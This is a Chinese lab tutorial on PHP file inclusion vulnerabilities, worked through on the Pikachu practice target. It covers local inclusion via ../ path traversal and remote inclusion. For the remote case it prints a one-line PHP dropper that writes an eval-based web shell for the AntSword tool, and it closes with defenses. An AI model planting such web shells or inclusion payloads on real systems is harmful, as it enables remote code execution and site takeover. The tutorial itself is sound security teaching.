文件包含漏洞--pikachu靶场

news2025/1/11 16:41:12

目录

文件包含

文件包含函数

文件包含漏洞原理

文件包含的分类

LFI-本地文件包含

RFI-远程文件包含

基于pikachu靶场练习

本地文件包含

远程文件包含

防御


文件包含

文件包含是程序员将需要重复调用的函数写入一个文件,对该文件包含时的操作,如导航栏,尾部栏

文件包含函数

这些是基于代码开发层面的设计,也是文件包含漏洞能否利用的关键

  1. include:在包含文件时,如果找不到包含的文件,它只会产生告警,页面的解析过程不会停止
  2. include_once:如果文件的代码已经被包含,则不会再次被包含,避免出错---只包含一次
  3. require:在包含文件时,如果找不到包含的文件,则会产生一个致命的错误(fatal error,页面 解析就会停止
  4. require_once

文件包含漏洞原理

没有对文件包含函数中的参数进行规范定义,导入了恶意文件,执行攻击代码。文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生

文件包含的分类

LFI-本地文件包含

  1. 所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
  2. 所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
  3. 常用于敏感文件读取

RFI-远程文件包含

本质与LFI相同,但是其能利用远程控制的方法结合蚁剑能更便于攻击

基于pikachu靶场练习

本地文件包含

通过下拉菜单选择球星实际是发送不同的get请求回显对应内容,文件包含漏洞的关键是文件包含函数(include/require)身份对参数有严格定义,因此我们是要找到能调用文件包含的php文件

发现参数的变化是有规律的file?,所以我们可以把这个数值设定为payload进行爆破,通过长度我们进入file7

通过的报错内容得知:调用file7.php时失败因为../fi_local.php没有file7.php这个路径,那我们就先找到这个fi_local

1.if(isset($GET['submit']) && $GET['filename']!=null)---isset()函数是检测变量是否引用且是否为0,这两个变量正是对应url中的两个参数。$_GET[' ']这是超全局变量,用于访问通过 HTTP GET 方法传递给当前脚本的参数。

2.include "include/$filename"---这是23行的内容也是漏洞的成因,因为将用户的get请求中的参数直接无条件的放入include语句去执行。当然漏洞修复在文档中也给出就是使用严格的白名单制,拒绝执行未知变量。

------------------------------

以上是确定漏洞的存在 现在就能利用了

输入路径时要用相对路径../代表上一级父目录,因为作为攻击者是很难完整掌握攻击主机的绝对路径,因此相对路径也提供了试错的更多可能性

远程文件包含

前提条件,设置完后必须要重启apache服务

我们先验证一下能否支持远程访问文件,注意需要把文件放在www目录或其子目录下,因为输入的IP就是指向的WWW目录。

如果要借助蚁剑工具现在就能写一个一句话木马然后生成php文件了,

<?php file_put_contents('s.php','<?php @eval($_REQUEST["password"]);?>'); ?>

但是这里我们选择file_put_contents 函数,用于将一个字符串写入文件,通过url

访问看似正常的文件文件时自动生成php恶意代码

注:.php文件生成的路径是url的对应的路径

url访问该txt 就会触发php代码生成s.php文件且该文件包含一个 eval() 函数,这个函数会执行通过 $_REQUEST (POST)数组接收到的任何代码。

防御

1、设置包含文件的白名单---如fi_local中提示我们的一样
2 、过滤危险字符,严格的用户输入,参数中不允许出现 ../ 这些特殊符号
3 、设置 PHP 包含的文件目录,在 php.ini 中的 open_basedir 进行设置,可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号 "." 来代表当前目录。
4 、关闭危险配置: allow_url_include .
5、代码审计

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1686597.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从容应对亿级QPS访问,Redis还缺少什么?no.29

众所周知&#xff0c;Redis 在线上实际运行时&#xff0c;面对海量数据、高并发访问&#xff0c;会遇到不少问题&#xff0c;需要进行针对性扩展及优化。本课时&#xff0c;我会结合微博在使用 Redis 中遇到的问题&#xff0c;来分析如何在生产环境下对 Redis 进行扩展改造&…

基于yolov8+flask搭建一个web版本的网页模型预测系统

测试环境&#xff1a; anaconda3python3.8 torch1.9.0cu111 ultralytics8.2.2 首先我们将训练好的权重放在weights目录下面 并将名字改成yolov8n.pt&#xff0c;如果不想改可以在代码app.py都把路径改过来即可。然后我们打开 python app.py之后看到 我们点击选择文件支持图…

K8s 二进制部署---下篇(多master节点 负载均衡 高可用)

一 master02 节点部署 master01192.168.11.5kube-apiserver&#xff0c;kube-controller-manager&#xff0c;kube-scheduler&#xff0c;etcdmaster02192.168.11.12kube-apiserver&#xff0c;kube-controller-manager&#xff0c;kube-scheduler&#xff0c;etcdnode01192.1…

Matomo用户行为分析 - 功能篇

在上一篇文章《Matomo用户行为分析 - 安装篇》中我们介绍了分析工具的作用、Saas平台和开源项目的优缺点、Matomo的部署和基本安装使用&#xff0c;让我们对分析工具有个大致的了解&#xff0c;那么本章我们将对Matomo的常见功能进行详细介绍。 常见功能 平台的基本分析能力很…

PDF Reader Pro for Mac 直装激活版:专业PDF阅读编辑软件

在数字化时代&#xff0c;PDF文件已成为我们日常工作和学习中不可或缺的一部分。然而&#xff0c;如何高效、便捷地阅读、编辑和管理这些PDF文件&#xff0c;却一直是许多人面临的难题。现在&#xff0c;有了PDF Reader Pro for Mac&#xff0c;这些难题将迎刃而解。 PDF Reade…

SashulinMessageBroker:在消息流中调用C++ DLL

一、背景 在现实应用中&#xff0c;算法、核心逻辑为了追求快速高效的运行速度&#xff0c;很多人都采用C来编写&#xff0c;并打包成动态库供外部使用。SMB针对这种应用场景&#xff0c;提供了DLL组件&#xff0c;实现在消息流中对DLL的动态调用。下实例讲解如何实现DLL as S…

机器学习(五) -- 监督学习(3) -- 决策树

系列文章目录及链接 上篇&#xff1a;机器学习&#xff08;五&#xff09; -- 监督学习&#xff08;2&#xff09; -- 朴素贝叶斯 下篇&#xff1a;机器学习&#xff08;五&#xff09; -- 监督学习&#xff08;4&#xff09; -- 集成学习方法-随机森林 前言 tips&#xff1a…

JAVA基础知识100题练习、蓝桥杯竞赛题,编程基础必练题!

各位编程小伙伴们&#xff0c;这里可是作者花费了无数个日日夜夜&#xff0c;熬秃了不知道多少根头发&#xff0c;凭借着那超级无敌多年的编程经验&#xff0c;拼死拼活、千辛万苦总结出来的呀&#xff01;这可是各种开发语言都绝对必须要练的基础编程知识哇&#xff01;什么九…

Python编程之调试魔法与列表逆转之谜

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、调试魔法&#xff1a;揭开Python编程的神秘面纱 代码调试实例 二、列表逆转之谜&#…

使用OpenVINO™.CSharp.API.Extensions.PaddleOCR NuGet Package快速实现OCR文本识别

PP-OCR是PaddleOCR自研的实用的超轻量OCR系统&#xff0c;可以实现端到端的图像文本检测。为了在C#平台实现使用OpenVINO™部署PP-OCR模型实现文本识别&#xff0c;让更多开发者快速上手PP-OCR项目&#xff0c;基于此&#xff0c;封装了OpenVINO.CSharp.API.Extensions.PaddleO…

深度学习之Tensorflow卷积神经网络手势识别

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景与意义 手势识别是计算机视觉和人工智能领域的重要应用之一&#xff0c;具有广泛的应用前景&#xff…

狙击交易策略加强版与普通版5点区别,WeTrade众汇盘点

通过之前的文章想必各位投资者都已经知道了什么是狙击交易策略&#xff0c;以及如何使用&#xff0c;WeTrade众汇本着严谨的态度&#xff0c;对狙击战术进行了大致梳理&#xff0c;发现其主要更新集中在2015至2017年间。但是研发者并未止步于此。2018年之后&#xff0c;他们又推…

实在智能TARS:面向垂直领域自主训练的类GPT大模型

一、写在前面 在数字化浪潮的推动下&#xff0c;企业正寻求突破传统生产力的局限&#xff0c;以实现更高效、更智能的运营模式。实在智能科技有限公司的TARS产品&#xff0c;以其前沿的人工智能技术&#xff0c;为企业注入了新质生产力&#xff0c;引领着智能化转型的新潮流。…

Python知识点复习

文章目录 Input & OutputVariables & Data typesPython字符串重复&#xff08;字符串乘法&#xff09;字符串和数字连接在一起print时&#xff0c;要强制类型转换int为str用input()得到的用户输入&#xff0c;是str类型&#xff0c;如果要以int形式计算的话&#xff0c…

springboot整合kkFileView部署,前端使用

前言&#xff1a; 官方文档&#xff1a;https://kkfileview.keking.cn/zh-cn/docs/production.html docker方式或加入星球获取发行包直接获取启动&#xff0c;无需以下步骤&#xff1a; 拉取镜像# 网络环境方便访问docker中央仓库 docker pull keking/kkfileview:4.1.0# 网…

python使用base加密解密

原理 base编码是一种加密解密措施&#xff0c;目前常用的有base16、base32和base64。其大致原理比较简单。 以base64为例&#xff0c;base64加密后共有64中字符。其加密过程是编码后将每3个字节作为一组&#xff0c;这样每组就有3*824位。将每6位作为一个单位进行编码&#xf…

2024最佳画图软件合集,操作简单无需下载!

随着数字时代的到来&#xff0c;绘画软件已经成为创造性表达和艺术创作不可或缺的工具。无论你是设计师、艺术家&#xff0c;还是只是对创作充满热情&#xff0c;2024年的绘画软件集都为你提供了各种各样的选择&#xff0c;这样你就可以在数字画布上释放你的想法。本文将重点推…

APP广告变现,开启你的APP盈利新纪元

随着科技的飞速发展&#xff0c;智能手机已经成为了我们生活中不可或缺的一部分。而在这个数字化时代&#xff0c;APP应用更是如雨后春笋般层出不穷&#xff0c;为我们的生活带来了极大的便利。然而&#xff0c;对于APP开发者来说&#xff0c;如何在激烈的市场竞争中脱颖而出&a…

SQLI-labs-第二十四关

目录 1、登录界面 2、注册界面 3、修改密码界面 知识点&#xff1a;二次注入 思路&#xff1a; 这一关有几个页面可以给我们输入&#xff0c;一个登录界面&#xff0c;一个注册页面&#xff0c;一个修改密码界面 1、登录界面 首先我们登录界面看看 登录后出现一个修改密码…

MySQL索引和视图

MySQL索引和视图是关系型数据库MySQL中的两个重要概念。索引用于优化数据库的查询性能&#xff0c;而视图用于提供一个逻辑上的表结构&#xff0c;方便用户查询和操作数据。 索引是一种数据结构&#xff0c;可以加速对数据库表中的数据进行查询的速度。通过创建索引&#xff0…